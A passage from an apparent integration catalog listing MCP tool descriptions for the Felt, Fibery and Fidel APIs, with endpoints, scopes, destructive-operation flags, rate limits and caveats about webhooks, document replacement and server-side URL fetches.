DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/sources/{source_id}. Scopes: api. felt_delete_sources_by_source_id_credentials_by_credential_id (write, destructive) — Delete source credential via DELETE /sources/{source_id}/credentials/{credential_id}. Felt answers 204 with no body, so a successful call returns an empty object. DESTRUCTIVE and not reversible through this API: the contract publishes no undelete. DELETE /api/v1/felt/sources/{source_id}/credentials/{credential_id}. Scopes: api. felt_get_library (read) — List library layers via GET /library. Lists library layers. `source` selects whose library: `workspace` (the default), `felt` for the Felt data library, or `all` for both. GET /api/v1/felt/library. Scopes: api. felt_get_maps_by_map_id (read) — Show map via GET /maps/{map_id}. GET /api/v1/felt/maps/{map_id}. Scopes: api. felt_get_maps_by_map_id_comments_export (read) — Export map comments via GET /maps/{map_id}/comments/export. Exports the map's comment threads as an array. `format` selects the export representation; Felt's contract declares the parameter without enumerating its values, so an unrecognised one is answered by Felt rather than refused here. GET /api/v1/felt/maps/{map_id}/comments/export. Scopes: api. felt_get_maps_by_map_id_element_groups (read) — List map element groups via GET /maps/{map_id}/element_groups. GET /api/v1/felt/maps/{map_id}/element_groups. Scopes: api. felt_get_maps_by_map_id_element_groups_by_group_id (read) — Show map element group via GET /maps/{map_id}/element_groups/{group_id}. GET /api/v1/felt/maps/{map_id}/element_groups/{group_id}. Scopes: api. felt_get_maps_by_map_id_elements (read) — List map elements via GET /maps/{map_id}/elements. GET /api/v1/felt/maps/{map_id}/elements. Scopes: api. felt_get_maps_by_map_id_layer_groups (read) — List map layer groups via GET /maps/{map_id}/layer_groups. GET /api/v1/felt/maps/{map_id}/layer_groups. Scopes: api. felt_get_maps_by_map_id_layer_groups_by_layer_group_id (read) — Show map layer group via GET /maps/{map_id}/layer_groups/{layer_group_id}. GET /api/v1/felt/maps/{map_id}/layer_groups/{layer_group_id}. Scopes: api. felt_get_maps_by_map_id_layers (read) — List map layers via GET /maps/{map_id}/layers. GET /api/v1/felt/maps/{map_id}/layers. Scopes: api. felt_get_maps_by_map_id_layers_by_layer_id (read) — Show map layer via GET /maps/{map_id}/layers/{layer_id}. GET /api/v1/felt/maps/{map_id}/layers/{layer_id}. Scopes: api. felt_get_maps_by_map_id_layers_by_layer_id_components (read) — List layer components via GET /maps/{map_id}/layers/{layer_id}/components. GET /api/v1/felt/maps/{map_id}/layers/{layer_id}/components. Scopes: api. felt_get_maps_by_map_id_layers_by_layer_id_components_by_component_id (read) — Show layer component via GET /maps/{map_id}/layers/{layer_id}/components/{component_id}. GET /api/v1/felt/maps/{map_id}/layers/{layer_id}/components/{component_id}. Scopes: api. felt_get_maps_by_map_id_layers_by_layer_id_custom_exports_by_export_id (read) — Poll map layer custom export via GET /maps/{map_id}/layers/{layer_id}/custom_exports/{export_id}. Reads one custom export's current state. This is the poll for the custom-export tool. GET /api/v1/felt/maps/{map_id}/layers/{layer_id}/custom_exports/{export_id}. Scopes: api. felt_get_maps_by_map_id_layers_by_layer_id_get_export_link (read) — Create map layer export link via GET /maps/{map_id}/layers/{layer_id}/get_export_link. Returns a URL (`export_link`) to fetch the layer's data from, not the data itself. The link is Felt's to issue and expire; nothing here follows it, and the connector never follows a redirect. GET /api/v1/felt/maps/{map_id}/layers/{layer_id}/get_export_link. Scopes: api. felt_get_projects (read) — List projects via GET /projects. GET /api/v1/felt/projects. Scopes: api. felt_get_projects_by_project_id (read) — Show project via GET /projects/{project_id}. GET /api/v1/felt/projects/{project_id}. Scopes: api. felt_get_sources (read) — List sources via GET /sources. GET /api/v1/felt/sources. Scopes: api. felt_get_sources_by_source_id (read) — Show source via GET /sources/{source_id}. GET /api/v1/felt/sources/{source_id}. Scopes: api. felt_get_user (read) — Show current user via GET /user. Reports the authenticated Felt user (id, name, email) for the token this connection holds, which is also how a token is checked: Felt's own Authentication page uses this exact call to confirm a token works. It takes no arguments and cannot read another user. GET /api/v1/felt/user. Scopes: api. felt_post_duplicate_layers (write) — Duplicate map layers via POST /duplicate_layers. Copies layers or layer groups BETWEEN maps in one call -- each array item names a `source_layer_id` or a `source_layer_group_id` plus a `destination_map_id` -- so this is the one tool whose effect is not confined to a map named in the path. The request body is a JSON ARRAY, one object per item. Whether an item that is OMITTED from the array is left alone or REMOVED is not stated by Felt's contract and was not measurable for this build (no Felt token exists), so send the full intended set and verify with a read before relying on either behaviour. POST /api/v1/felt/duplicate_layers. Scopes: api. felt_post_maps (write) — Create map via POST /maps. POST /api/v1/felt/maps. Scopes: api. felt_post_maps_by_map_id_add_source_layer (write) — Add map layer from source via POST /maps/{map_id}/add_source_layer. Felt answers 202 Accepted: the work is QUEUED, not finished, when this call returns. The contract records no async-job resource for it, so read the source or the map's layers back to see the result land. POST /api/v1/felt/maps/{map_id}/add_source_layer. Scopes: api. felt_post_maps_by_map_id_comments_by_comment_id_resolve (write) — Resolve map comment via POST /maps/{map_id}/comments/{comment_id}/resolve. POST /api/v1/felt/maps/{map_id}/comments/{comment_id}/resolve. Scopes: api. felt_post_maps_by_map_id_duplicate (write) — Duplicate map via POST /maps/{map_id}/duplicate. Copies the map and its data into a project or folder you name. The copy is a new map with a new id; nothing about the original changes. POST /api/v1/felt/maps/{map_id}/duplicate. Scopes: api. felt_post_maps_by_map_id_element_groups (write) — Upsert map element groups via POST /maps/{map_id}/element_groups. The request body is a JSON ARRAY, one object per item. Whether an item that is OMITTED from the array is left alone or REMOVED is not stated by Felt's contract and was not measurable for this build (no Felt token exists), so send the full intended set and verify with a read before relying on either behaviour. POST /api/v1/felt/maps/{map_id}/element_groups. Scopes: api. felt_post_maps_by_map_id_elements (write) — Upsert map elements via POST /maps/{map_id}/elements. POST /api/v1/felt/maps/{map_id}/elements. Scopes: api. felt_post_maps_by_map_id_embed_token (write) — Create map embed token via POST /maps/{map_id}/embed_token. Mints a short-lived embed token for ONE named viewer: `user_email` is required, and the response carries `token` plus `expires_at`. The token it returns is a credential for that viewer's browser, so treat the result as secret. POST /api/v1/felt/maps/{map_id}/embed_token. Scopes: api. felt_post_maps_by_map_id_image_exports (write) — Create map image export via POST /maps/{map_id}/image_exports. POST /api/v1/felt/maps/{map_id}/image_exports. Scopes: api. felt_post_maps_by_map_id_layer_groups (write) — Update map layer groups via POST /maps/{map_id}/layer_groups. The request body is a JSON ARRAY, one object per item. Whether an item that is OMITTED from the array is left alone or REMOVED is not stated by Felt's contract and was not measurable for this build (no Felt token exists), so send the full intended set and verify with a read before relying on either behaviour. POST /api/v1/felt/maps/{map_id}/layer_groups. Scopes: api. felt_post_maps_by_map_id_layer_groups_by_layer_group_id (write) — Update map layer group via POST /maps/{map_id}/layer_groups/{layer_group_id}. POST /api/v1/felt/maps/{map_id}/layer_groups/{layer_group_id}. Scopes: api. felt_post_maps_by_map_id_layer_groups_by_layer_group_id_publish (write) — Publish map layer group via POST /maps/{map_id}/layer_groups/{layer_group_id}/publish. POST /api/v1/felt/maps/{map_id}/layer_groups/{layer_group_id}/publish. Scopes: api. felt_post_maps_by_map_id_layers (write) — Update map layer via POST /maps/{map_id}/layers. The request body is a JSON ARRAY, one object per item. Whether an item that is OMITTED from the array is left alone or REMOVED is not stated by Felt's contract and was not measurable for this build (no Felt token exists), so send the full intended set and verify with a read before relying on either behaviour. POST /api/v1/felt/maps/{map_id}/layers. Scopes: api. felt_post_maps_by_map_id_layers_by_layer_id_components (write) — Create layer component via POST /maps/{map_id}/layers/{layer_id}/components. POST /api/v1/felt/maps/{map_id}/layers/{layer_id}/components. Scopes: api. felt_post_maps_by_map_id_layers_by_layer_id_components_by_component_id (write) — Update layer component via POST /maps/{map_id}/layers/{layer_id}/components/{component_id}. POST /api/v1/felt/maps/{map_id}/layers/{layer_id}/components/{component_id}. Scopes: api. felt_post_maps_by_map_id_layers_by_layer_id_custom_export (write) — Create map layer custom export via POST /maps/{map_id}/layers/{layer_id}/custom_export. Starts a custom layer export and answers with the export record. Poll it with the custom-export read tool (`felt_get_maps_by_map_id_layers_by_layer_id_custom_exports_by_export_id`); the ledger records no async-job contract, so there is no other completion signal than that read. POST /api/v1/felt/maps/{map_id}/layers/{layer_id}/custom_export. Scopes: api. felt_post_maps_by_map_id_layers_by_layer_id_publish (write) — Publish map layer via POST /maps/{map_id}/layers/{layer_id}/publish. POST /api/v1/felt/maps/{map_id}/layers/{layer_id}/publish. Scopes: api. felt_post_maps_by_map_id_layers_by_layer_id_refresh (write) — Refresh map layer via POST /maps/{map_id}/layers/{layer_id}/refresh. Asks Felt to refresh the layer from its source now. It does not wait: read the layer back to see `last_refreshed_at` move. POST /api/v1/felt/maps/{map_id}/layers/{layer_id}/refresh. Scopes: api. felt_post_maps_by_map_id_layers_by_layer_id_update_style (write) — Update map layer style via POST /maps/{map_id}/layers/{layer_id}/update_style. POST /api/v1/felt/maps/{map_id}/layers/{layer_id}/update_style. Scopes: api. felt_post_maps_by_map_id_move (write) — Move map via POST /maps/{map_id}/move. Moves the map to another project OR another folder -- the body is a `oneOf` and exactly one of `project_id` / `folder_id` is sent. Moving a map changes who can see it, because visibility is the project's. POST /api/v1/felt/maps/{map_id}/move. Scopes: api. felt_post_maps_by_map_id_update (write) — Update map via POST /maps/{map_id}/update. POST /api/v1/felt/maps/{map_id}/update. Scopes: api. felt_post_maps_by_map_id_upload (write) — Upload map layer via POST /maps/{map_id}/upload. Creates a layer by UPLOAD and answers with the layer plus the presigned upload target Felt expects the file to be PUT to. Agentic Fabriq does not transfer the file: this tool arranges the upload, and the transfer happens against the URL Felt returns. POST /api/v1/felt/maps/{map_id}/upload. Scopes: api. felt_post_projects (write) — Create project via POST /projects. POST /api/v1/felt/projects. Scopes: api. felt_post_projects_by_project_id_update (write) — Update project via POST /projects/{project_id}/update. POST /api/v1/felt/projects/{project_id}/update. Scopes: api. felt_post_sources (write) — Create source via POST /sources. Felt answers 202 Accepted: the work is QUEUED, not finished, when this call returns. The contract records no async-job resource for it, so read the source or the map's layers back to see the result land. POST /api/v1/felt/sources. Scopes: api. felt_post_sources_by_source_id_credentials (write) — Create source credential via POST /sources/{source_id}/credentials. Stores a credential FELT will use to reach the customer's own data source (Snowflake, Postgres, BigQuery, an OAuth M2M client ...). The secret in this body is the customer's source credential, not their Felt token, and it is written to Felt rather than read back: Felt's source reads never return it. Felt answers 202 Accepted: the work is QUEUED, not finished, when this call returns. The contract records no async-job resource for it, so read the source or the map's layers back to see the result land. POST /api/v1/felt/sources/{source_id}/credentials. Scopes: api. felt_post_sources_by_source_id_credentials_by_credential_id_update (write) — Update source credential via POST /sources/{source_id}/credentials/{credential_id}/update. Replaces a stored source credential. Same warning as creating one: the body carries the customer's own database or OAuth secret. Felt answers 202 Accepted: the work is QUEUED, not finished, when this call returns. The contract records no async-job resource for it, so read the source or the map's layers back to see the result land. POST /api/v1/felt/sources/{source_id}/credentials/{credential_id}/update. Scopes: api. felt_post_sources_by_source_id_sync (write) — Sync source via POST /sources/{source_id}/sync. Felt answers 202 Accepted: the work is QUEUED, not finished, when this call returns. The contract records no async-job resource for it, so read the source or the map's layers back to see the result land. POST /api/v1/felt/sources/{source_id}/sync. Scopes: api. felt_post_sources_by_source_id_update (write) — Update source via POST /sources/{source_id}/update. Felt answers 202 Accepted: the work is QUEUED, not finished, when this call returns. The contract records no async-job resource for it, so read the source or the map's layers back to see the result land. POST /api/v1/felt/sources/{source_id}/update. Scopes: api. ================================================================================ ## Fibery URL: https://www.agenticfabriq.com/integrations/fibery Section: Integrated Tools Fibery — 12 MCP tools Provider key: fibery. Scopes: api. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fibery_delete_api_webhooks_v2_by_webhook_id (write, destructive) — Delete a webhook via DELETE /api/webhooks/v2/{webhook_id}. Delete one webhook subscription by its id. Deliveries to its URL stop and there is no undo -- recreating it needs the database name and the destination URL, which this call does not return, so list the webhooks and keep the values before deleting. It affects the whole workspace, not only this connection: whoever created that webhook loses it too. Changes shared workspace state: it takes effect for every member of the Fibery workspace, not only for this connection. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. DELETE /api/v1/fibery/api/webhooks/v2/{webhook_id}. Scopes: api. fibery_get_api_documents_by_secret (read) — Read a document via GET /api/documents/{secret}. Read one rich-text document by its secret. A Fibery rich-text field is a DOCUMENT, not a string: query the entity for the field's `Collaboration~Documents/secret` and pass that UUID here. `format` chooses the representation -- `md` (the default), `html`, `json` (Fibery's own document model) or `plain-text`; all four were measured and each returns a visibly different body, and a value outside the list answers HTTP 500 `UNKNOWN_FORMATTER` rather than quietly falling back. The reply is `{"secret", "content", "modificationDate"}`. A secret that does not exist is NOT an error: Fibery answers 200 with `content: ""` and a null modification date (measured 2026-09-16), so an empty document and a wrong secret look the same -- check the secret came from a real entity rather than inferring it from an empty reply. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. GET /api/v1/fibery/api/documents/{secret}. Scopes: api. fibery_get_api_webhooks_v2 (read) — List webhooks via GET /api/webhooks/v2. List the webhooks registered on this workspace, each with its id, the database it is subscribed to and the URL it delivers to. A workspace with none answers `[]` (measured 2026-09-16). This is the call to make before creating or deleting one: the delete takes a webhook id, and this is where an id comes from. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. GET /api/v1/fibery/api/webhooks/v2. Scopes: api. fibery_post_api_commands (read) — Query entities via POST /api/commands. Read entities out of a Fibery database with the `fibery.entity/query` command. `q/from` is the database in `space/name` form and CASE MATTERS (`Project Tracking/Task`, `fibery/user`); `q/select` is the list of fields to return, which may nest an entity field's own fields or aggregate a collection; `q/where` is a filter expression written as an array whose parameters are supplied separately in `args.params` as `{"$name": value}`; `q/limit` is required and a bounded value (1000 or less) is recommended over the supported-but-discouraged `q/no-limit`. Page with `q/offset`, or by filtering on the last id you saw. The reply is Fibery's envelope, `{"success": true, "result": [...]}` -- and READ `success`, NOT THE HTTP STATUS: a command that failed still answers HTTP 200, with `success: false` and an error object naming a stable `name` code (measured: a `q/select` naming a field the database does not have answers 200 / `entity.error/schema-field-not-found`, and helpfully names the field you probably meant). The filters really do filter -- measured on a 7-row database: an impossible `q/where` returned 0, `q/limit 2` returned 2, `q/offset 5` returned 2, `q/offset 999` returned 0, and `q/order-by` asc and desc returned opposite orders. Call this tool once to learn the schema is not possible: field and database names come from the workspace's own schema, so an unfamiliar workspace usually needs a `fibery.schema/query` first -- which this tool cannot send. `command` is always `fibery.entity/query`. PINNED TO ONE COMMAND. This endpoint is a single URL behind Fibery's whole command vocabulary, and this tool is the one command named above and nothing else -- Agentic Fabriq fills that field in when it is omitted and REFUSES a body naming a different command, so the tool cannot be steered into a write or a delete it was not catalogued as. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/commands. Scopes: api. fibery_post_api_documents_commands (read) — Read several documents via POST /api/documents/commands. Read several rich-text documents in one call with the `get-documents` command. `args` is an array of `{"secret": ""}` entries and `format` chooses the representation for all of them (`md` by default, or `html`, `json`, `plain-text`). The reply is an array of the same document objects the single-document read returns, in the order asked for; an empty `args` gives `[]` (measured 2026-09-16). Prefer this over reading documents one at a time: Fibery rate-limits at 3 requests per second per token. `command` is always `get-documents`. PINNED TO ONE COMMAND. This endpoint is a single URL behind Fibery's whole command vocabulary, and this tool is the one command named above and nothing else -- Agentic Fabriq fills that field in when it is omitted and REFUSES a body naming a different command, so the tool cannot be steered into a write or a delete it was not catalogued as. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/documents/commands. Scopes: api. fibery_post_api_files_from_url (write) — Upload a file from a URL via POST /api/files/from-url. Have Fibery fetch a file from a URL you supply and store it as a Fibery file. `url` is required and is the source Fibery downloads from; `name` sets the stored file name, `method` the HTTP verb Fibery uses (GET by default), `headers` any headers the source needs, and `id` lets you choose the new file's UUID. The reply carries the file's secret, which is what every later reference to the file uses. FIBERY MAKES THIS REQUEST, NOT YOU, AND YOU CHOOSE ALL OF IT: the URL, the HTTP method and the headers are yours, and the request leaves FIBERY'S network rather than Agentic Fabriq's. So `method` can drive a verb other than GET at a host of your choosing -- use it only to fetch a file you mean to store, never to reach a host that is only reachable from inside somebody's network and never to cause a side effect somewhere else. Treat anything in `headers` as credential material: it is sent to that third party and it is recorded in this call's arguments in Agentic Fabriq's audit trail. Uploading bytes directly is not available through this integration -- Fibery's multipart upload and its file download are both withheld, because unbounded bytes cannot ride inside a tool argument or result. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/files/from-url. Scopes: api. fibery_post_api_files_sign_urls (read) — Sign file download URLs via POST /api/files/sign-urls. Turn file secrets into signed, time-limited download URLs. `secrets` is the required array of file secrets -- the values a file operation or an entity's file field gives you. The reply is `{"items": [...]}`, one entry per secret; an empty array in gives an empty array back (measured 2026-09-16). This is how a file leaves Fibery through this integration: the direct download endpoint is withheld because it returns raw bytes, so ask for a signed URL and hand that to whatever needs the file. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/files/sign-urls. Scopes: api. fibery_post_api_graphql_space_by_space (write) — Run a GraphQL query on a space via POST /api/graphql/space/{space}. Run a GraphQL query or mutation against ONE space's generated schema. `space` is the space name exactly as the workspace spells it, including spaces and `~` (`Project Tracking`, `Collaboration~Documents`); Agentic Fabriq URL-encodes it. `query` is the GraphQL document and `variables` its variables. Each space has its own endpoint and its own schema, generated from that space's databases, so a field that exists in one space does not exist in another -- run an introspection query first if you do not know the shape. THIS TOOL CAN WRITE: GraphQL mutations go through the same endpoint as queries and Agentic Fabriq cannot tell them apart, which is why it is catalogued as a write. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/graphql/space/{space}. Scopes: api. fibery_post_api_history_v2_search (read) — Search entity history via POST /api/history/v2/search. Search the workspace's change history: who changed what, when. `limit` is required and is the page size; page on by passing the previous page's last item id as `sinceItem`. `timeframe` takes ISO-8601 UTC `start`/`end` and spans at most one year, defaulting to the last 30 days when omitted. `where` is an array of `{field, operator, value}` filters combined with AND -- `field` is one of id, action, entityPublicId, entityState, author, typeId, entityTypeId, entityName, entityId, field and `operator` one of =, in, empty, not-empty, contains, not-in; pass `[]` for no filters. `excludeAutomaticChanges` drops changes made by integrations, automations, auto-linking or formulas, which is usually what you want when looking for what a PERSON did. The reply is `{"items": [...]}`, each item carrying the action, the date, the entity and its database. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/history/v2/search. Scopes: api. fibery_post_api_views_json_rpc (read) — Query views via POST /api/views/json-rpc. List the workspace's views with the `query-views` JSON-RPC method. `params.filter` narrows the result: `ids` and `publicIds` match views directly, `isPrivate` selects only views in My space (true) or only views outside it (false), and `container` returns the views attached to named entities of one database (`typeId` plus that database's entity `publicIds`). Omit the filter to get every view the token can see. This is JSON-RPC, so the reply is `{"jsonrpc", "result"}` -- and a bad method name comes back as a JSON-RPC error object with HTTP 400 rather than as a transport failure. `method` is always `query-views`. PINNED TO ONE COMMAND. This endpoint is a single URL behind Fibery's whole command vocabulary, and this tool is the one command named above and nothing else -- Agentic Fabriq fills that field in when it is omitted and REFUSES a body naming a different command, so the tool cannot be steered into a write or a delete it was not catalogued as. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/views/json-rpc. Scopes: api. fibery_post_api_webhooks_v2 (write) — Create a webhook via POST /api/webhooks/v2. Subscribe a URL to changes in one Fibery database. `type` is the database in `space/name` form (`Cricket/Player`) and `url` is the destination Fibery POSTs the effect payload to. THE URL IS A WORKSPACE-WIDE SIDE CHANNEL: every change to that database is sent to it from then on, for every user of the workspace and not just this connection, until the webhook is deleted. Point it only at an endpoint you control and expect to keep; list the webhooks first to avoid creating a duplicate delivery. Changes shared workspace state: it takes effect for every member of the Fibery workspace, not only for this connection. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. POST /api/v1/fibery/api/webhooks/v2. Scopes: api. fibery_put_api_documents_by_secret (write) — Replace a document's content via PUT /api/documents/{secret}. REPLACE the whole content of one rich-text document. `secret` names the document, `content` is the new body in the format `format` names (`md` by default, or `html`/`json`), and the write is a replacement rather than an append -- whatever the document held is gone, including anything a person wrote between your read and your write. Read the document first, edit the text you got back, and send the whole result. Fibery gives this call no conditional-write or version check, so concurrent editors silently lose their changes. Changes shared workspace state: it takes effect for every member of the Fibery workspace, not only for this connection. UNKNOWN KEYS ARE SILENTLY DROPPED, so a misspelled option returns the UNFILTERED result and reports success -- measured: an invented query parameter or an invented key inside the request body gives a reply byte-identical to sending nothing at all. Use only the fields named above. A wrong VALUE for a field Fibery knows does fail loudly, and a wrong FIELD NAME comes back as an error that names the field you probably meant. Fibery rate-limits at 3 requests per second per token and 7 per second per workspace, both answered with HTTP 429. PUT /api/v1/fibery/api/documents/{secret}. Scopes: api. ================================================================================ ## Fidel API URL: https://www.agenticfabriq.com/integrations/fidel Section: Integrated Tools Fidel API — 55 MCP tools Provider key: fidel. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fidel_delete_brands_by_brandid (write, destructive) — Delete Brand via DELETE /brands/{brandId} DELETE /api/v1/fidel/brands/{brandId}. Scopes: api. fidel_delete_cards_by_cardid (write, destructive) — Delete Card via DELETE /cards/{cardId} DELETE /api/v1/fidel/cards/{cardId}. Scopes: api. fidel_delete_hooks_by_hookid (write, destructive) — Delete Webhook via DELETE /hooks/{hookId} DELETE /api/v1/fidel/hooks/{hookId}. Scopes: api. fidel_delete_locations_by_locationid (write, destructive) — Delete Location via DELETE /locations/{locationId} DELETE /api/v1/fidel/locations/{locationId}. Scopes: api. fidel_delete_offers_by_offerid (write, destructive) — Delete Offer via DELETE /offers/{offerId} DELETE /api/v1/fidel/offers/{offerId}. Scopes: api. fidel_delete_offers_by_offerid_cards_by_cardid (write, destructive) — Deactivate Offer on Card via DELETE /offers/{offerId}/cards/{cardId}. Removes a card from an offer. The usage count resets to 0 on the removed card. DELETE /api/v1/fidel/offers/{offerId}/cards/{cardId}. Scopes: api. fidel_delete_offers_by_offerid_locations_by_locationid (write, destructive) — Unlink Location to Offer via DELETE /offers/{offerId}/locations/{locationId}. Unlinks a location from an offer. DELETE /api/v1/fidel/offers/{offerId}/locations/{locationId}. Scopes: api. fidel_get_brands (read) — List Brands via GET /brands GET /api/v1/fidel/brands. Scopes: api. fidel_get_brands_by_brandid (read) — Get Brand via GET /brands/{brandId} GET /api/v1/fidel/brands/{brandId}. Scopes: api. fidel_get_brands_by_brandid_programs_by_programid_locations (read) — List Locations by Brand via GET /brands/{brandId}/programs/{programId}/locations GET /api/v1/fidel/brands/{brandId}/programs/{programId}/locations. Scopes: api. fidel_get_cards_by_cardid (read) — Get Card via GET /cards/{cardId} GET /api/v1/fidel/cards/{cardId}. Scopes: api. fidel_get_cards_by_cardid_transactions (read) — List Transactions by Card via GET /cards/{cardId}/transactions GET /api/v1/fidel/cards/{cardId}/transactions. Scopes: api. fidel_get_cards_metadata_by_metadataid (read) — List Cards from Metadata ID via GET /cards/metadata/{metadataId} GET /api/v1/fidel/cards/metadata/{metadataId}. Scopes: api. fidel_get_hooks_by_hookid (read) — Get Webhook via GET /hooks/{hookId} GET /api/v1/fidel/hooks/{hookId}. Scopes: api. fidel_get_locations_by_locationid (read) — Get Location via GET /locations/{locationId}. Receive information about a specific location based on the LocationId. GET /api/v1/fidel/locations/{locationId}. Scopes: api. fidel_get_marketplace_offers (read) — Get Marketplace Offers via GET /marketplace-offers GET /api/v1/fidel/marketplace-offers. Scopes: api. fidel_get_missing_transaction_requests_by_missingtransactionrequestid (read) — Get missing transaction request via GET /missing-transaction-requests/{missingTransactionRequestId} GET /api/v1/fidel/missing-transaction-requests/{missingTransactionRequestId}. Scopes: api. fidel_get_offers (read) — List Offers via GET /offers GET /api/v1/fidel/offers. Scopes: api. fidel_get_offers_by_offerid (read) — Get Offer via GET /offers/{offerId} GET /api/v1/fidel/offers/{offerId}. Scopes: api. fidel_get_offers_by_offerid_cards (read) — List Cards with Active Offer via GET /offers/{offerId}/cards GET /api/v1/fidel/offers/{offerId}/cards. Scopes: api. fidel_get_offers_by_offerid_cards_by_cardid (read) — Check Active Offer on Card via GET /offers/{offerId}/cards/{cardId} GET /api/v1/fidel/offers/{offerId}/cards/{cardId}. Scopes: api. fidel_get_offers_by_offerid_locations (read) — List Locations by Offer via GET /offers/{offerId}/locations. Lists all locations linked to an offer. GET /api/v1/fidel/offers/{offerId}/locations. Scopes: api. fidel_get_programs (read) — List Programs via GET /programs GET /api/v1/fidel/programs. Scopes: api. fidel_get_programs_by_programid (read) — Get Program via GET /programs/{programId} GET /api/v1/fidel/programs/{programId}. Scopes: api. fidel_get_programs_by_programid_cards (read) — List Cards via GET /programs/{programId}/cards GET /api/v1/fidel/programs/{programId}/cards. Scopes: api. fidel_get_programs_by_programid_hooks (read) — List Webhooks via GET /programs/{programId}/hooks GET /api/v1/fidel/programs/{programId}/hooks. Scopes: api. fidel_get_programs_by_programid_locations (read) — List Locations via GET /programs/{programId}/locations GET /api/v1/fidel/programs/{programId}/locations. Scopes: api. fidel_get_programs_by_programid_mid_insights (read) — List Mid Insights via GET /programs/{programId}/mid-insights. Returns paginated mid insight records for a program. GET /api/v1/fidel/programs/{programId}/mid-insights. Scopes: api. fidel_get_programs_by_programid_mid_requests (read) — List mid requests via GET /programs/{programId}/mid-requests GET /api/v1/fidel/programs/{programId}/mid-requests. Scopes: api. fidel_get_programs_by_programid_mid_requests_by_midrequestid (read) — Get mid request via GET 